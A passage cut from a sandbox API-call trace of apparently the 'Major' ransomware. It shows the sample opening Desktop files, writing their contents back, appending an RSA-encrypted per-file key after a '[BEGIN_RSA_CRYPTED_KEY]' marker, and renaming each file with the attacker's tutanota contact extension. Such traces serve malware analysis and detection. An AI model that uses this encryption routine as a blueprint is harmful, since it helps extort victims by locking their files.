lpOverlapped=0x0) returned 1 [0145.037] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.037] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.037] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.037] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Hl7auw3XwR60HR5a40Qy08wbTiorOAiLK+2a+E3z9UzK/PivMdwSupCg6kZhFwJv\nLdm/wpFSuYWMrh48InrXVLbqlTzD5m67ASQFo1X+BjqFpywpV3KWWgGXPQrOVnkT\nC1yt9GwjzXDBjMGPS4IYK3a8cavy+M4JS8zywqieQpMj0lE4KpNaCjyW4XHwTwKJ\nLWnvmAOmfqeqfDm7mnm9mDKoiVvkM2u2WIR7WceRiX9US5uXFGhAin7ijfYTVjT1\nRSiXJp5mm5qDmElAeksVxdpyso7O/RVVTKmM5qJ3BAx+mqq1wlvIp4LMb0SYSP/F\n2mvtlnZvrTGlgZknvpocXQ==\n", pcchString=0x2e3f9a8) returned 1 [0145.037] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.037] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.037] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.038] CloseHandle (hObject=0x5e4) returned 1 [0145.038] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.038] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\tuYpwDn8lZKFlv_vyIw.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\tuypwdn8lzkflv_vyiw.xls"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\tuYpwDn8lZKFlv_vyIw.xls.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\tuypwdn8lzkflv_vyiw.xls.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0145.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6316f8 | out: hHeap=0x570000) returned 1 [0145.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631628 | out: hHeap=0x570000) returned 1 [0145.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631830 [0145.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.041] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.041] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\TqrOwHSCm9aUyso-.m4a", dwFileAttributes=0x80) returned 1 [0145.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631760 [0145.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0145.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631760 | out: hHeap=0x570000) returned 1 [0145.041] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\TqrOwHSCm9aUyso-.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\tqrowhscm9auyso-.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.041] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=94129) returned 1 [0145.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16fb1) returned 0x631898 [0145.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16fb1) returned 0x648858 [0145.041] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x16fb1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x16fb1, lpOverlapped=0x0) returned 1 [0145.043] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-94129, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.043] WriteFile (in: hFile=0x5e4, lpBuffer=0x648858*, nNumberOfBytesToWrite=0x16fb1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x648858*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16fb1, lpOverlapped=0x0) returned 1 [0145.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x648858 | out: hHeap=0x570000) returned 1 [0145.044] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16fb1 [0145.044] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.044] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.044] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.044] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.044] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.044] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="EhendwvsEDa3XA/knQJTyuUAX5LnZTUR+xsYxw9/Vm4XcNQMSN4aXfL3XBCC7YXb\nwVooARTCIP/PFacYPfr2mMqK9py1kpovKFCSeNAW0mUDuf6AZrtG39dbh8ASzzP4\nk5LnaBnMgfIxoe1ZlLHl1eDQWX/ArJo2H7dhmu2P8K/gihACmdash7DhaeDa/+MY\nTZZUj94qVSkQ655tUyqsU9VQuHplaAZYs6RLx31dxdKUxCvKO5EwHiHmB7UtedZb\n+WR79XbCwmPaRSsigfLmnKvDcKqAmX16gPjaZ4yF/X7MRXbesgESG2dNRGrryaXV\nPgE4wqRl7Q3VR7DEVKXyLA==\n", pcchString=0x2e3f9a8) returned 1 [0145.044] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.044] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.045] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.045] CloseHandle (hObject=0x5e4) returned 1 [0145.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.045] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\TqrOwHSCm9aUyso-.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\tqrowhscm9auyso-.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\TqrOwHSCm9aUyso-.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\tqrowhscm9auyso-.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0145.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631830 | out: hHeap=0x570000) returned 1 [0145.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6317c8 | out: hHeap=0x570000) returned 1 [0145.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631760 [0145.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc968 [0145.046] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.046] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\o8ciyk0NO2XHYoaqmnFR.ots", dwFileAttributes=0x80) returned 1 [0145.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6317c8 [0145.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0145.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6317c8 | out: hHeap=0x570000) returned 1 [0145.047] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\o8ciyk0NO2XHYoaqmnFR.ots" (normalized: "c:\\users\\fd1hvy\\desktop\\o8ciyk0no2xhyoaqmnfr.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.047] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8179) returned 1 [0145.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ff3) returned 0x631898 [0145.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ff3) returned 0x633898 [0145.047] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x1ff3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x1ff3, lpOverlapped=0x0) returned 1 [0145.047] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-8179, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.048] WriteFile (in: hFile=0x5e4, lpBuffer=0x633898*, nNumberOfBytesToWrite=0x1ff3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x633898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1ff3, lpOverlapped=0x0) returned 1 [0145.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x633898 | out: hHeap=0x570000) returned 1 [0145.048] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1ff3 [0145.048] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.048] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.048] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.048] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.048] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.048] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="0JGIBK0c84oWG+yf0qnGYE0qw3CfGauO96QytR5ocLEpVsb9NYoG6Cni9Ggkn0Uq\nACVqTbKsZKWBv4Xf+keOHPROhvS5iVA2WbMO7KIEWGW1UddojSpRU3VCGJ8cHJUO\nLZCB9hPiI12lptr634gkYHqh95350j2ul17x9LoZxSxTPu/t9mCV7THBnuqk+vQF\nsl0EcoSaO6XKoeWcJR2z/2BJjMDLOM1NygmiwRWmtKRslZT94+V4ggnRbP7FZpBj\nVSPAzlHncHaNNviP1AjCIAt5jezQe2i6YdqrhnaKlIZyQ5VobDdRVoOWa8efdYh2\nbPjEztbtnJsOCXICQLlQeQ==\n", pcchString=0x2e3f9a8) returned 1 [0145.048] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.048] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.048] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.048] CloseHandle (hObject=0x5e4) returned 1 [0145.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.049] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\o8ciyk0NO2XHYoaqmnFR.ots" (normalized: "c:\\users\\fd1hvy\\desktop\\o8ciyk0no2xhyoaqmnfr.ots"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\o8ciyk0NO2XHYoaqmnFR.ots.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\o8ciyk0no2xhyoaqmnfr.ots.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0145.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x570000) returned 1 [0145.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631760 | out: hHeap=0x570000) returned 1 [0145.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6315c0 | out: hHeap=0x570000) returned 1 [0145.050] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0145.050] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.050] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.050] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\Major.exe", dwFileAttributes=0x80) returned 1 [0145.050] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0145.050] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0145.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0145.050] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\Major.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\major.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0145.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0145.051] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be948 [0145.051] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.051] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.051] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\LYDmlBGbfl.png", dwFileAttributes=0x80) returned 1 [0145.051] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be9a0 [0145.051] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9a0 | out: hHeap=0x570000) returned 1 [0145.051] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\LYDmlBGbfl.png" (normalized: "c:\\users\\fd1hvy\\desktop\\lydmlbgbfl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.051] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=43765) returned 1 [0145.051] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xaaf5) returned 0x631898 [0145.051] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xaaf5) returned 0x63c398 [0145.051] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0xaaf5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xaaf5, lpOverlapped=0x0) returned 1 [0145.052] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-43765, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.052] WriteFile (in: hFile=0x5e4, lpBuffer=0x63c398*, nNumberOfBytesToWrite=0xaaf5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63c398*, lpNumberOfBytesWritten=0x2e3f9b4*=0xaaf5, lpOverlapped=0x0) returned 1 [0145.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63c398 | out: hHeap=0x570000) returned 1 [0145.053] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xaaf5 [0145.053] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.053] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.053] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.053] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.054] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.054] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.054] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="eN78AwO4tscrAmI3EHAEWY7BME5ZFw0wxlMSAHOnEx+IHne0XhbhGm1zsPPKwTw9\ngLh3XAkhH72gYC0EJRmU6KiJMFpWrrcNh2omuh/Wmanjz9DWGwbrwkhSoEGtKqKR\nBOsJBa76jPZkkLX5Y2w2mfU24ckqodn5x7pdK/nU8rNkvZntIWoVvkiKugv1n/oH\nwYJyumbM5d9umG1MlIziVKRA1Aci9meIS43hWaHaBSDD8+vzYpcoc4wOjmTjfCp7\nP2o3n+cn6dlpfZgBV48C9649aPBEjL9m6aOpzbS50ypEk44zXQsa5IKJkbtngzXZ\nujryOEgnotGQQfgZjYprGQ==\n", pcchString=0x2e3f9a8) returned 1 [0145.054] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.054] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.054] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.054] CloseHandle (hObject=0x5e4) returned 1 [0145.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.054] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\LYDmlBGbfl.png" (normalized: "c:\\users\\fd1hvy\\desktop\\lydmlbgbfl.png"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\LYDmlBGbfl.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\lydmlbgbfl.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0145.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0145.056] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be580 [0145.056] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.056] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.056] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\LdMDxx35.m4a", dwFileAttributes=0x80) returned 1 [0145.056] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be840 [0145.056] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be840 | out: hHeap=0x570000) returned 1 [0145.056] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\LdMDxx35.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\ldmdxx35.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.056] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=38665) returned 1 [0145.056] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x9709, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x9709, lpOverlapped=0x0) returned 1 [0145.057] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-38665, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.057] WriteFile (in: hFile=0x5e4, lpBuffer=0x63afb0*, nNumberOfBytesToWrite=0x9709, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63afb0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9709, lpOverlapped=0x0) returned 1 [0145.058] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.058] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63afb0 | out: hHeap=0x570000) returned 1 [0145.058] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9709 [0145.058] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.058] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.058] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.058] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, 